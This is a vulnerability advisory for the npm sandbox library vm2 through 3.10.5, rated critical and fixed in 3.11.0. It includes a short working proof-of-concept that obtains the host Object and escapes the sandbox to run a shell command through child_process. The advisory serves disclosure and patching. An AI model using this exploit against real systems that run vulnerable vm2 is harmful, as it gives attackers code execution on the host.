GHSA-47x8-96vw-5wg6

Suggest an improvement
Source
https://github.com/advisories/GHSA-47x8-96vw-5wg6
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-47x8-96vw-5wg6/GHSA-47x8-96vw-5wg6.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-47x8-96vw-5wg6
Aliases
Published
2026-05-07T04:00:19Z
Modified
2026-05-14T20:45:09.053201322Z
Severity
  • 10.0 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H CVSS Calculator
Summary
vm2 Access to Host Object Enables Sandbox Escape
Details

Summary

It is possible to obtain the host Object, https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160 added some protections, but the implementation is incomplete.

Details

There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom)

PoC

const g = {}.__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
const o = p.call(p.call(a));
const HObject = o.constructor;
sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);

const obj = {
    [sym]: (depth, opt, inspect) => {
        inspect.constructor("return process.getBuiltinModule('child_process').execSync('ls',{stdio:'inherit'})")();
    },
    valueOf: undefined,
    constructor: undefined,
};

WebAssembly.compileStreaming(obj).catch(() => {});

Impact

Sandbox Escape -> RCE

Database specific
{
    "severity": "CRITICAL",
    "github_reviewed_at": "2026-05-07T04:00:19Z",
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-94"
    ],
    "nvd_published_at": "2026-05-13T18:16:16Z"
}
References

Affected packages

npm / vm2

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
3.11.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-47x8-96vw-5wg6/GHSA-47x8-96vw-5wg6.json"
last_known_affected_version_range
"<= 3.10.5"